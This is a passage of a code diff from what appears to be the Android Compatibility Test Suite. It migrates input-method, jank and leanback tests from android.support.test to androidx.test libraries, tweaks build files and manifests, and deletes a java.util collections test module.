+++ b/tests/inputmethod/src/android/view/inputmethod/cts/FocusHandlingTest.java
@@ -34,9 +34,6 @@
 import android.os.IBinder;
 import android.os.Process;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.inputmethod.EditorInfo;
@@ -50,6 +47,10 @@
 import android.widget.PopupWindow;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
index 6af7cdc..a2f041c 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputBindingTest.java
@@ -22,13 +22,14 @@
 
 import android.os.Binder;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.inputmethod.BaseInputConnection;
 import android.view.inputmethod.InputBinding;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
index 71abacc..c949793 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
@@ -33,8 +33,6 @@
 import android.content.ClipDescription;
 import android.net.Uri;
 import android.os.Bundle;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.KeyEvent;
 import android.view.inputmethod.CompletionInfo;
@@ -45,6 +43,9 @@
 import android.view.inputmethod.InputConnectionWrapper;
 import android.view.inputmethod.InputContentInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.mockito.ArgumentCaptor;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
index 777b6d8..5a4b24f 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputContentInfoTest.java
@@ -22,10 +22,11 @@
 import android.content.ClipDescription;
 import android.net.Uri;
 import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.inputmethod.InputContentInfo;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 11cb412..e585906 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -33,9 +33,6 @@
 import android.content.pm.ServiceInfo;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.util.Printer;
 import android.view.inputmethod.InputMethod;
@@ -43,6 +40,10 @@
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.InputMethodSubtype;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index 8400c53..6249e99 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -28,11 +28,7 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.content.Intent;
-import androidx.annotation.NonNull;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.inputmethod.EditorInfo;
@@ -45,6 +41,11 @@
 import android.widget.LinearLayout;
 import android.widget.LinearLayout.LayoutParams;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 300f573..1f4fec2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -31,9 +31,6 @@
 
 import android.app.Instrumentation;
 import android.inputmethodservice.InputMethodService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.KeyEvent;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -41,6 +38,10 @@
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
index fb0e542..82c5960 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
@@ -22,9 +22,10 @@
 
 import android.inputmethodservice.Keyboard;
 import android.inputmethodservice.Keyboard.Key;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
index 5482a41..aa5b695 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardVisibilityControlTest.java
@@ -26,10 +26,6 @@
 import static org.junit.Assert.assertTrue;
 
 import android.os.SystemClock;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.util.Pair;
 import android.view.inputmethod.EditorInfo;
@@ -40,6 +36,11 @@
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeSettings;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
index de3235c..e2f7738 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/NavigationBarColorTest.java
@@ -40,11 +40,6 @@
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.os.Process;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.View;
 import android.view.ViewGroup;
@@ -56,13 +51,19 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.ColorInt;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeLayoutInfo;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
 
-import org.junit.BeforeClass;
 import org.junit.Before;
+import org.junit.BeforeClass;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
index b320f88..676a0c4 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/OnScreenPositionTest.java
@@ -26,9 +26,6 @@
 
 import android.graphics.Rect;
 import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -36,6 +33,10 @@
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeLayoutInfo;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
index 619c852..220ce21 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/SearchViewTest.java
@@ -21,9 +21,6 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
@@ -32,6 +29,10 @@
 import android.widget.LinearLayout;
 import android.widget.SearchView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeSettings;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
index add3237..6ffb813 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/EndToEndImeTestBase.java
@@ -20,7 +20,8 @@
 
 import android.content.Intent;
 import android.content.pm.PackageManager;
-import android.support.test.InstrumentationRegistry;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.Before;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
index d76f99e..ba0ab0a 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/NavigationBarInfo.java
@@ -16,26 +16,28 @@
 
 package android.view.inputmethod.cts.util;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
 import static android.view.WindowManager.LayoutParams.FLAG_DIM_BEHIND;
 import static android.view.inputmethod.cts.util.TestUtils.getOnMainSync;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import android.app.AlertDialog;
 import android.app.Instrumentation;
 import android.content.Intent;
 import android.graphics.Bitmap;
 import android.graphics.Point;
 import android.graphics.Rect;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
 import android.util.Size;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.WindowInsets;
 import android.widget.TextView;
 
+import androidx.annotation.ColorInt;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
index 0eaa3d6..0f8ce63 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestActivity.java
@@ -21,14 +21,15 @@
 import android.app.Activity;
 import android.content.Intent;
 import android.os.Bundle;
-import androidx.annotation.AnyThread;
-import androidx.annotation.NonNull;
-import androidx.annotation.UiThread;
-import android.support.test.InstrumentationRegistry;
 import android.view.View;
 import android.view.Window;
 import android.view.WindowManager;
 
+import androidx.annotation.AnyThread;
+import androidx.annotation.NonNull;
+import androidx.annotation.UiThread;
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.function.Function;
@@ -96,7 +97,7 @@
     /**
      * Launches {@link TestActivity} with the given initialization logic for content view.
      *
-     * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+     * <p>As long as you are using {@link androidx.test.runner.AndroidJUnitRunner}, the test
      * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
      * the test finished.  You do not need to explicitly call {@link Activity#finish()}.</p>
      *
@@ -112,7 +113,7 @@
     /**
      * Launches {@link TestActivity} with the given initialization logic for content view.
      *
-     * <p>As long as you are using {@link android.support.test.runner.AndroidJUnitRunner}, the test
+     * <p>As long as you are using {@link androidx.test.runner.AndroidJUnitRunner}, the test
      * runner automatically calls {@link Activity#finish()} for the {@link Activity} launched when
      * the test finished.  You do not need to explicitly call {@link Activity#finish()}.</p>
      *
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
index 1f86ccd..51fcdbb 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/util/TestUtils.java
@@ -17,8 +17,9 @@
 package android.view.inputmethod.cts.util;
 
 import android.app.Instrumentation;
+
 import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
+import androidx.test.InstrumentationRegistry;
 
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicBoolean;
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index df7aa54..2ce4a98 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -29,10 +29,10 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
-    ub-janktesthelper \
+    androidx.test.janktesthelper \
     junit
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/jank/AndroidManifest.xml b/tests/jank/AndroidManifest.xml
index f7b3232..faeedab 100644
--- a/tests/jank/AndroidManifest.xml
+++ b/tests/jank/AndroidManifest.xml
@@ -24,7 +24,7 @@
       <uses-library android:name="android.test.runner"/>
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.jank.cts"
                    android:label="Jank tests">
         <meta-data android:name="listener"
diff --git a/tests/jank/src/android/jank/cts/CtsJankTestBase.java b/tests/jank/src/android/jank/cts/CtsJankTestBase.java
index 6015726..85cf700 100644
--- a/tests/jank/src/android/jank/cts/CtsJankTestBase.java
+++ b/tests/jank/src/android/jank/cts/CtsJankTestBase.java
@@ -17,10 +17,11 @@
 package android.jank.cts;
 
 import android.os.Bundle;
-import android.support.test.jank.JankTestBase;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.jank.JankTestBase;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java b/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
index 2e389d7..35565d7 100644
--- a/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
+++ b/tests/jank/src/android/jank/cts/ui/CtsDeviceJankUi.java
@@ -18,13 +18,14 @@
 import android.content.Intent;
 import android.jank.cts.CtsJankTestBase;
 import android.os.SystemClock;
-import android.support.test.jank.JankTest;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.Until;
 import android.widget.ListView;
 
+import androidx.test.jank.JankTest;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
 import java.io.IOException;
 
 public class CtsDeviceJankUi extends CtsJankTestBase {
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index ab7eedc..9f9ba8c 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -30,10 +30,10 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
-    ub-janktesthelper
+    androidx.test.janktesthelper
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/tests/leanbackjank/AndroidManifest.xml b/tests/leanbackjank/AndroidManifest.xml
index 35a2e2e..2b1f1a6 100644
--- a/tests/leanbackjank/AndroidManifest.xml
+++ b/tests/leanbackjank/AndroidManifest.xml
@@ -25,7 +25,7 @@
       <uses-library android:name="android.test.runner"/>
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                    android:targetPackage="android.leanbackjank.cts"
                    android:label="LeanbackJank tests">
         <meta-data android:name="listener"
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index b6404fe..06f2ae9 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -33,10 +33,10 @@
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     ub-uiautomator \
-    ub-janktesthelper \
+    androidx.test.janktesthelper \
     glide
 
 LOCAL_STATIC_ANDROID_LIBRARIES := \
diff --git a/tests/leanbackjank/app/res/layout/icon_header_item.xml b/tests/leanbackjank/app/res/layout/icon_header_item.xml
index 56c8488..ce4942d 100644
--- a/tests/leanbackjank/app/res/layout/icon_header_item.xml
+++ b/tests/leanbackjank/app/res/layout/icon_header_item.xml
@@ -17,6 +17,8 @@
 <androidx.leanback.widget.NonOverlappingLinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
     android:orientation="horizontal"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
     android:layout_width="match_parent"
     android:layout_height="match_parent">
 
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
index ded9ea1..47ae1ed 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsDeviceLeanback.java
@@ -19,12 +19,12 @@
 import android.content.pm.PackageManager;
 import android.leanbackjank.app.IntentKeys;
 import android.os.SystemClock;
-import android.support.test.jank.GfxMonitor;
-import android.support.test.jank.JankTest;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.Until;
-import android.util.Log;
+
+import androidx.test.jank.GfxMonitor;
+import androidx.test.jank.JankTest;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
 
 public class CtsDeviceLeanback extends CtsJankTestBase {
     private static final String TAG = "CtsDeviceLeanback";
@@ -32,7 +32,7 @@
     private static final long WAIT_TIMEOUT = 5 * MILLIS_PER_SECOND;
     private static final int SCROLL_COUNT = 100;
     private static final int SCROLL_INTERVAL_MILLIS = 200;
-    private static final int PRE_SCROLL_DELAY_MILLIS = 0;
+    private static final int PRE_SCROLL_DELAY_MILLIS = 500;
     private static final int PRE_SCROLL_IDLE_TIME = 2 * MILLIS_PER_SECOND;
     private static final int SAMPLING_DURATION_SECONDS = 2;
     private static final int SAMPLING_DURATION_MILLIS =
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
index 4749fe3..725c015 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
@@ -17,11 +17,12 @@
 package android.leanbackjank.cts;
 
 import android.os.Bundle;
-import android.support.test.jank.GfxMonitor;
-import android.support.test.jank.JankTestBase;
-import android.support.test.jank.WindowContentFrameStatsMonitor;
 import android.support.test.uiautomator.UiDevice;
 
+import androidx.test.jank.GfxMonitor;
+import androidx.test.jank.JankTestBase;
+import androidx.test.jank.WindowContentFrameStatsMonitor;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
deleted file mode 100644
index 5a0bbb9..0000000
--- a/tests/libcore/javautilcollections/Android.mk
+++ /dev/null
@@ -1,47 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := guava-20.0-prebuilt
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_SRC_FILES := libs/guava-20.0.jar
-LOCAL_UNINSTALLABLE_MODULE := true
-LOCAL_SDK_VERSION := current
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := guava-testlib-20.0-prebuilt
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_SRC_FILES := libs/guava-testlib-20.0.jar
-LOCAL_UNINSTALLABLE_MODULE := true
-LOCAL_SDK_VERSION := current
-include $(BUILD_PREBUILT)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    guava-20.0-prebuilt \
-    guava-testlib-20.0-prebuilt
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_SDK_VERSION := current
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidManifest.xml b/tests/libcore/javautilcollections/AndroidManifest.xml
deleted file mode 100644
index a7e8cee..0000000
--- a/tests/libcore/javautilcollections/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2016 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="libcore.java.util.collectiontests">
-
-    <!-- AndroidJUnitRunner needs a largeHeap to collect the ~ 240k test methods to run. -->
-    <application android:largeHeap="true">
-        <uses-library android:name="android.test.runner"/>
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="libcore.java.util.collectiontests"
-                     android:label="Tests for Collection implementations in java.util">
-    </instrumentation>
-
-</manifest>
-
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
deleted file mode 100644
index 7ea7634..0000000
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ /dev/null
@@ -1,73 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Libcore java.util Collection test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="not-shardable" value="true" />
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
-    </target_preparer>
-    <!--
-    Notes as of November 2016:
-
-    1.) When the runner collects the set of tests to run, it
-    (a) attempts to directly run TestCase subclasses from guava-testlib, which they don't support,
-    (b) doesn't find classes with suite() methods.
-    (c) runs out of memory if attempting to run all of the > 220k tests in a single go
-    Breaking the tests down into chunks of ~ 40-50k tests each, and explicitly specifying the
-    suites to run, solves these problems.
-
-    2.) Due to http://b/33068110 the classes with the suite() methods (in the "suite" sub-package)
-    need to extend TestSuite, which means that they need to delegate to separate classes (in the
-     "tests" sub-package) that extend classes from guava-testlib.
-    -->
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapNaturalSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.ConcurrentSkipListMapWithComparatorSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.TreeMapNaturalSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
-        <option name="class" value="libcore.java.util.suite.TreeMapWithComparatorSuite" />
-        <option name="runtime-hint" value="10m" />
-        <option name="test-timeout" value="1200000" />
-        <option name="shell-timeout" value="1400000" />
-    </test>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="libcore.java.util.collectiontests" />
